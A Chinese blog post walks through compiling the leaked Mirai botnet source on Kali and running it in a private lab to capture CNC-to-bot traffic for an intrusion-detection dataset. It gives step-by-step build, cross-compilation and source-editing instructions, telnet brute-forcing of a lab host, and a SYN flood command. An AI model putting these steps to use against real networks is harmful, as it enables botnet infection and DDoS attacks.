DDOS:Kali下Mirai殭屍病毒的編譯使用及抓包

是爲了做NIDS啦,網上都找不到Mirai公開的數據集,所以沒辦法只能自己抓了

主要參考

G.O.A.T!最靠譜的Mirai殭屍病毒編譯教程
博客園Mirai搭建及使用
Anna-senpai帖子翻譯與Mirai源代碼使用
原作者教程
原作者教程2
Mirai源碼編譯
Mirai使用與攻擊

源碼分析1
源碼分析2
源碼分析3

1. 編譯

爲了方便抓包,我直接在有Wireshark的Kali上搭的環境

1.1 安裝依賴

安裝 gcc、git、electric-fence

apt-get update
apt-get install gcc git electric-fence

mysql 我以前安過,不再贅述
安裝golang
迅雷大法好
在這裏插入圖片描述

搭建go開發環境

開始安的1.8.1版本的,最後一步go get時報錯了,只能重安
要先卸載
卸載
Kali Linux下go語言環境搭建
官網1.14.1版本下載

1.2 克隆源碼

git clone https://github.com/jgamblin/Mirai-Source-Code

1.3 編譯加密程序

cd mirai/tools && gcc enc.c -o enc.out

1.4 加密主控服務器域名和報告服務器域名

./enc.out string cnc.wuming.com
./enc.out string report.wuming.com

執行後會返回一串HEX數據,和xx bytes,稍後會用到
不執行也可以,直接使用默認的

cnc.changeme.com
report.changeme.com

然後修改病毒本體源碼

vim ../bot/table.c

原文件18到21行如下
在這裏插入圖片描述
如果想修改的話就把上面輸出的四個參數分別替換掉

1.5 配置CNC控制中心

用一個數據庫記錄使用過的命令、能被操控的殭屍數量等

1.5.1 編輯sql腳本

cd ../../scripts
vim db.sql

在第一行後插入

use mirai;

在這裏插入圖片描述

1.5.2 執行sql腳本

執行

service mysql start   //啓動Mysql 服務
cat db.sql | mysql -u root -p

創建CNC用戶 mirai_user,即在數據庫mirai的users表中增加一行記錄
注意別的教程此處可能用的是mirai-user,我比較喜歡下劃線mirai_user

mysql -u root -p
use mirai
INSERT INTO users VALUES (NULL, 'mirai_user', 'mirai_pass', 0, 0, 0, 0, -1, 1, 30, '');   //添加的用戶
exit   //退出

1.5.3 修改CNC服務器主程序

vi ../mirai/cnc/main.go

User和Pass 改爲root的用戶名和密碼
在這裏插入圖片描述

1.6 交叉編譯

爲啥要交叉編譯,就是因爲這個病毒其實最後編譯出來有好多的版本,包括以arm爲後綴的,以dbg爲後綴的,以mips爲後綴的,適應了各種各樣的環境。但是這些環境上並不具備編譯出這些病毒文件的能力,所以我們就在自己的電腦上先給它把這些版本一次都編譯出來,到時候比如要感染arm架構的設備,我直接就把以arm後綴爲結尾的病毒本體想辦法傳送過去就OK了
————————————————
版權聲明:本文爲CSDN博主「weixin_42652850」的原創文章,遵循 CC 4.0 BY-SA 版權協議,轉載請附上原文出處鏈接及本聲明。
原文鏈接:https://blog.csdn.net/weixin_42652850/article/details/104889173

cd .. && mkdir cross-compile-bin
cd cross-compile-bin
wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-armv4l.tar.bz2
wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-armv5l.tar.bz2
wget http://distro.ibiblio.org/slitaz/sources/packages/c/cross-compiler-armv6l.tar.bz2
wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-i586.tar.bz2
wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-i686.tar.bz2
wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-m68k.tar.bz2
wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-mips.tar.bz2
wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-mipsel.tar.bz2
wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-powerpc.tar.bz2
wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-sh4.tar.bz2
wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-sparc.tar.bz2
wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-x86_64.tar.bz2

或者迅雷大法好

https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-armv4l.tar.bz2
https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-armv5l.tar.bz2
http://distro.ibiblio.org/slitaz/sources/packages/c/cross-compiler-armv6l.tar.bz2
https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-i586.tar.bz2
https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-i686.tar.bz2
https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-m68k.tar.bz2
https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-mips.tar.bz2
https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-mipsel.tar.bz2
https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-powerpc.tar.bz2
https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-sh4.tar.bz2
https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-sparc.tar.bz2
https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-x86_64.tar.bz2
cd ../scripts
./compile-cross.sh

在這裏插入圖片描述輸入n,因爲已經安裝過了

1.7 添加環境變量

vim ~/.bashrc

添加如下內容

export PATH=$PATH:/etc/xcompile/armv4l/bin
export PATH=$PATH:/etc/xcompile/armv5l/bin
export PATH=$PATH:/etc/xcompile/armv6l/bin
export PATH=$PATH:/etc/xcompile/i586/bin
export PATH=$PATH:/etc/xcompile/m68k/bin
export PATH=$PATH:/etc/xcompile/mips/bin
export PATH=$PATH:/etc/xcompile/mipsel/bin
export PATH=$PATH:/etc/xcompile/powerpc/bin
export PATH=$PATH:/etc/xcompile/powerpc-440fp/bin
export PATH=$PATH:/etc/xcompile/sh4/bin
export PATH=$PATH:/etc/xcompile/sparc/bin
export GOPATH=$HOME/go

注意$和PATH之間沒有空格
如果你看了別人的添加了空格進去
然後執行了source命令
這時當前終端很可能會出現無法執行基本命令的情況
因爲.bashrc這個文件裏有錯誤
這時新開一個終端,修改回去就行了

刷新一下

mkdir ~/go
source ~/.bashrc

1.8 構建受控端和主控端程序

由於源碼默認在 debug 模式中關閉了 scanner 功能,將bot/main.c 中158行和162行註釋後即可運行。
在這裏插入圖片描述
還記得1.4中修改的tables.c嘛
如果沒修改的話,CNC域名應該是cnc.changeme.com
那別的bot怎麼才能知道這個域名對應的就是攻擊機的ip呢

bot通過table.c設置的域名來尋找CNC服務器。其中解析域名的功能由resolv.c實現,該文件84行硬編碼了DNS服務器的地址:

addr.sin_addr.s_addr = INET_ADDR(8,8,8,8);

因此,如果本地搭建環境,或者bot處於AP內網,需要修改IP爲本地DNS服務器的IP,然後由本地DNS服務器對此域名作解析爲對應IP。
所以需要搭建一個DNS服務器
服務器運維:CentOS 7下搭建DNS服務器
(而稍後這個DNS服務器會被用作第一個bot)
然後把resolv.c中的地址換成DNS服務器的地址

addr.sin_addr.s_addr = INET_ADDR(192,168,1,42);

在這裏插入圖片描述

go get github.com/go-sql-driver/mysql
go get github.com/mattn/go-shellwords
cd ../mirai
./build.sh debug telnet

如果執行build腳本的時候報比如找不到mips-gcc等等,但是你確定你安裝了
並且也添加到~/.bashrc裏了,執行

source ~/.bashrc

再刷新一下
最後正常build結束應該有如下十個文件
在這裏插入圖片描述
然後還需要一些小調整
因爲cnc的啓動調用的是debug/cnc,但是源碼裏讀取文件寫的是絕對路徑prompt.txt
圖源 博客園
在這裏插入圖片描述
所以需要拷貝一份prompt.txt到debug目錄下
進入mirai目錄後

cp prompt.txt debug/

1.9 構建Loader

cd ../loader
./build.sh

有幾個警告無傷大雅

2. 使用

2.1 基礎知識

2.1.1 流程圖

圖源1
圖源2
在這裏插入圖片描述
在這裏插入圖片描述

2.1.2 名詞解釋

  • Loader:第一個bot,通過別的手段獲得此肉雞的shell,然後在第一個肉雞上發起telnet爆破,感染其他主機。第一個bot需要配置DNS服務,以後新抓的雞都會通過Loader報告給攻擊機

  • CNC服務器:Command and Control Server,命令和控制服務器

  • bot:肉雞,可進行telnet爆破(再傳播)和發起DDOS

  • dlr:肉雞不能使用tftp和wget時會執行dlr,然後使用socket從目標IP(文件服務器)下載Mirai病毒

2.2 攻擊流程

2.2.1 環境

攻擊機Kali(192.168.1.10)作CNC和Loader,靶機A(192.168.1.42)作爲第一個被感染的設備(Loader),並且自己搭了DNS服務器解析CNC域名和報告服務器域名到Kali,靶機B(192.168.1.34)作爲telnet弱口令設備。都處於同一網段下

靶機A需要搭建DNS服務器
服務器運維:CentOS 7下搭建DNS服務器

靶機B需要搭建telnet服務器
服務器運維:CentOS 7下搭建telnet服務器
靶機B的弱口令

admin:password

2.2.2 啓動CNC服務器

Kali進入mirai目錄下

在這裏插入圖片描述執行

go build -o debug/cnc cnc/*.go

然後

./debug/cnc

在這裏插入圖片描述

2.2.3 連接CNC服務器

telnet 127.0.0.1 23

然後直接回車
輸入mirai_user和mirai_pass

在這裏插入圖片描述
然後我這一直報這個錯誤
在這裏插入圖片描述檢查一下舊shell
在這裏插入圖片描述估計是因爲Kali的mysql用任意密碼都能登錄,所以調用main.go時傳入了密碼參數報錯了
在這裏插入圖片描述
有兩個解決辦法
第一種:
修改root的密碼

GRANT ALL PRIVILEGES ON *.* TO 'root'@'localhost' IDENTIFIED BY 'youpassword' WITH GRANT OPTION;

然後刷新

FLUSH PRIVILEGES;

退出後就需要密碼登錄了
第二種:
新建一個用戶mirai,然後把main.go中的參數替換成mirai和它的密碼
我用的是第一種,因爲看別的教程都是root賬戶,暫時不知道有沒有影響

如果修改了main.go
重新build一下

go build -o debug/cnc cnc/*.go

然後

./debug/cnc

輸入用戶名mirai_user,密碼mirai_pass
這次可以正常登錄了
在這裏插入圖片描述
注意shell最上面顯示的 0 Bots Connected,表示當前有0個bot

2.2.4 啓動對Loader的監聽器

還是Kali下

cd mirai/debug

別的系統可能需要sudo,Kali不需要的

./scanListen

執行

netstat -lput

可以看到48101已經處於監聽狀態了

在這裏插入圖片描述

2.2.5 Loader連接CNC

靶機A(192.168.1.42)

把Kali編譯好的mirai文件夾拷貝過去
在這裏插入圖片描述

靶機A作爲第一個bot,需要解析
cnc.changeme.com和report.changeme.com
於是我在靶機A上搭了DNS服務器,讓resolv.c解析域名時向本地的DNS服務器發出請求
然後就找到了Kali的IP:192.168.1.10

這時在靶機A上進入mirai/debug
然後

sudo ./miria.dbg

一定要管理員權限運行,否則會出現無法創建原始套接字raw sock

在這裏插入圖片描述一定要看到把 cnc.changeme.com解析到了一個IPv4地址纔行,否則就調試你的DNS服務器。
然後切回Kali可以看到,此時已經有一個bot連接了

在這裏插入圖片描述

2.2.6 肉雞執行telnet爆破

因爲1.8中已經開啓了scanner功能,所以靶機A執行./mirai.dbg時自動開始telnet爆破
在這裏插入圖片描述在Kali上可以用wireshark抓包,後面再講
在這裏插入圖片描述如果scanner成功抓雞,則會調用resolv.c連接 report.changeme.com,還是由本地DNS服務器解析到Kali的IP,然後被抓雞的信息會通過report模塊發送到Kali的48101端口,即scanListen監聽的端口。
信息的格式爲ip:port username:password
在這裏插入圖片描述當然,因爲上面所說的所有環境都是在內網下搭建的,就算抓到了外網的雞也不能傳播Mirai。
真想玩的話搞兩個服務器就好了

2.2.6 內網抓雞

建議這一段不要看一步做一步,而是先通讀完再做,因爲我也踩了不少坑

先看一下源碼的IP掃描吧 mirai/bot/scanner.c 674行起

static ipv4_t get_random_ip(void)
{   
	// 32位無符號整型
    uint32_t tmp;
    // 4個8位的無符號整型
    uint8_t o1, o2, o3, o4;

    do
    {
        // 產生一個隨機數
        tmp = rand_next();

        o1 = tmp & 0xff;
        o2 = (tmp >> 8) & 0xff;
        o3 = (tmp >> 16) & 0xff;
        o4 = (tmp >> 24) & 0xff;
    }
    while (o1 == 127 ||                             // 127.0.0.0/8      - Loopback
          (o1 == 0) ||                              // 0.0.0.0/8        - Invalid address space
          (o1 == 3) ||                              // 3.0.0.0/8        - General Electric Company
          (o1 == 15 || o1 == 16) ||                 // 15.0.0.0/7       - Hewlett-Packard Company
          (o1 == 56) ||                             // 56.0.0.0/8       - US Postal Service
          (o1 == 10) ||                             // 10.0.0.0/8       - Internal network
          (o1 == 192 && o2 == 168) ||               // 192.168.0.0/16   - Internal network
          (o1 == 172 && o2 >= 16 && o2 < 32) ||     // 172.16.0.0/14    - Internal network
          (o1 == 100 && o2 >= 64 && o2 < 127) ||    // 100.64.0.0/10    - IANA NAT reserved
          (o1 == 169 && o2 > 254) ||                // 169.254.0.0/16   - IANA NAT reserved
          (o1 == 198 && o2 >= 18 && o2 < 20) ||     // 198.18.0.0/15    - IANA Special use
          (o1 >= 224) ||                            // 224.*.*.*+       - Multicast
          (o1 == 6 || o1 == 7 || o1 == 11 || o1 == 21 || o1 == 22 || o1 == 26 || o1 == 28 || o1 == 29 || o1 == 30 || o1 == 33 || o1 == 55 || o1 == 214 || o1 == 215) // Department of Defense
    );

    return INET_ADDR(o1,o2,o3,o4);
}

源碼中
用了一個do-while循環,如果是產生了註釋裏如 127打頭的IP地址,就繼續循環,直到出現了非註釋裏的IP爲止,然後調用INET_ADDR把這個IPv4地址返回。
即每調用一次get_random_ip就返回一個外網IPv4

修改:
o1到o4分別設爲靶機B的IPv4地址的四部分,把do-while循環註釋掉

static ipv4_t get_random_ip(void)
{
    uint32_t tmp;
    uint8_t o1=192, o2=168, o3=1, o4=34;
/*
    do
    {
        tmp = rand_next();

        o1 = tmp & 0xff;
        o2 = (tmp >> 8) & 0xff;
        o3 = (tmp >> 16) & 0xff;
        o4 = (tmp >> 24) & 0xff;
    }
    while (o1 == 127 ||                             // 127.0.0.0/8      - Loopback
          (o1 == 0) ||                              // 0.0.0.0/8        - Invalid address space
          (o1 == 3) ||                              // 3.0.0.0/8        - General Electric Company
          (o1 == 15 || o1 == 16) ||                 // 15.0.0.0/7       - Hewlett-Packard Company
          (o1 == 56) ||                             // 56.0.0.0/8       - US Postal Service
          (o1 == 10) ||                             // 10.0.0.0/8       - Internal network
          (o1 == 192 && o2 == 168) ||               // 192.168.0.0/16   - Internal network
          (o1 == 172 && o2 >= 16 && o2 < 32) ||     // 172.16.0.0/14    - Internal network
          (o1 == 100 && o2 >= 64 && o2 < 127) ||    // 100.64.0.0/10    - IANA NAT reserved
          (o1 == 169 && o2 > 254) ||                // 169.254.0.0/16   - IANA NAT reserved
          (o1 == 198 && o2 >= 18 && o2 < 20) ||     // 198.18.0.0/15    - IANA Special use
          (o1 >= 224) ||                            // 224.*.*.*+       - Multicast
          (o1 == 6 || o1 == 7 || o1 == 11 || o1 == 21 || o1 == 22 || o1 == 26 || o1 == 28 || o1 == 29 || o1 == 30 || o1 == 33 || o1 == 55 || o1 == 214 || o1 == 215) // Department of Defense
    );
*/
    return INET_ADDR(o1, o2, o3, o4);
}

不過這樣的話應該會對靶機B產生巨大的流量,因爲每次scan都是對着靶機B…先不管了
修改以後重新編譯一下

./build.sh debug telnet

然後把新生成的mirai文件夾拷到靶機A上,覆蓋掉原來的文件夾
靶機A上把原來的終端關閉,重新進入mirai/debug並執行

sudo ./mirai.dbg

這時可以看到
靶機A只對靶機B進行telnet爆破
還要注意的是
如果掃描的IP有迴應,纔會正式建立連接,也就是說,因爲現在只掃靶機B,如果靶機B不迴應的話,靶機A那邊是沒有顯示的,我在這踩坑了,一直在改源碼,以爲是代碼問題。

在這裏插入圖片描述
果然這樣流量太大了,不知道多少個線程爆破一臺主機…所以就算試到了正確的密碼,telnet連接也會被中斷…
在這裏插入圖片描述在這裏插入圖片描述
再次修改

static ipv4_t get_random_ip(void)
{	
    uint32_t tmp;
    uint8_t o1, o2, o3, o4;

    do
    {
        tmp = rand_next();

        o1 = tmp & 0xff;
        o2 = (tmp >> 8) & 0xff;
        o3 = (tmp >> 16) & 0xff;
        o4 = (tmp >> 24) & 0xff;
    }
    while (o1 == 127 ||                             // 127.0.0.0/8      - Loopback
          (o1 == 0) ||                              // 0.0.0.0/8        - Invalid address space
          (o1 == 3) ||                              // 3.0.0.0/8        - General Electric Company
          (o1 == 15 || o1 == 16) ||                 // 15.0.0.0/7       - Hewlett-Packard Company
          (o1 == 56) ||                             // 56.0.0.0/8       - US Postal Service
          (o1 == 10) ||                             // 10.0.0.0/8       - Internal network
          (o1 == 192 && o2 == 168) ||               // 192.168.0.0/16   - Internal network
          (o1 == 172 && o2 >= 16 && o2 < 32) ||     // 172.16.0.0/14    - Internal network
          (o1 == 100 && o2 >= 64 && o2 < 127) ||    // 100.64.0.0/10    - IANA NAT reserved
          (o1 == 169 && o2 > 254) ||                // 169.254.0.0/16   - IANA NAT reserved
          (o1 == 198 && o2 >= 18 && o2 < 20) ||     // 198.18.0.0/15    - IANA Special use
          (o1 >= 224) ||                            // 224.*.*.*+       - Multicast
          (o1 == 6 || o1 == 7 || o1 == 11 || o1 == 21 || o1 == 22 || o1 == 26 || o1 == 28 || o1 == 29 || o1 == 30 || o1 == 33 || o1 == 55 || o1 == 214 || o1 == 215) // Department of Defense
    );

    return INET_ADDR(192, 168, o3, 34);
}

開始一直在改多線程,準備加sleep,但是看了一圈沒看懂,我C太菜了。
於是取巧了一下,把生成隨機IP的函數改爲三個固定,一個不固定的
因爲怕生成192.168.1.10正好是攻擊機IP,所以最後一個也寫成固定的34了
這次好多了…

在這裏插入圖片描述

抓雞先停一段時間,出了些bug

2.2.7 CNC控制bot發起DDOS

簡單回顧一下前面的流程

啓動CNC服務器
攻擊機telnet自己,連接CNC
Loader的監聽器不需要了,因爲不抓雞了
bot連接CNC

現在,你的攻擊機上應該顯示有一個bot連接
打開作爲CNC的終端
在這裏插入圖片描述
輸入一個?查看攻擊指令,?相當於佔位符
在這裏插入圖片描述
注意syn?中間有個空格
在這裏插入圖片描述
在這裏插入圖片描述
這時切到bot,可以看到收到了一條攻擊指令
在這裏插入圖片描述
而在wireshark中也抓到了一個SYN泛洪的典型數據包

在這裏插入圖片描述
因爲是debug模式,所以只會發一個泛洪包進行測試,想幹壞事的就自己研究吧hhhh,我不寫了。

3.抓包

Wireshark基本介紹和學習TCP三次握手
Wireshark圖解教程(簡介、抓包、過濾器)

我需要的是CNC和殭屍機之間通信的流量,所以直接用上文的靶機A作爲一臺被感染的bot,主要分析bot接收CNC的命令和以及反饋的過程。
因爲不需要再感染其他主機了,所以把1.8中scanner功能關閉,然後重新

./build.sh debug telnet

拷貝、執行

再說明一下IP

攻擊機:192.168.1.10
靶機A:192.168.1.42

捕獲過濾器設爲

(src 192.168.1.42 and dst 192.168.1.10) or (src 192.168.1.10 and dst 192.168.1.42)

抓取CNC和bot之間的流量,然後導出,我保存到json裏了。
在這裏插入圖片描述

接下來就可以用數據集做數據分析和機器學習了。

等過一段時間這些dataset與我利益無關了就會上傳到GayHub,歡迎關注,先不貼鏈接了。

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章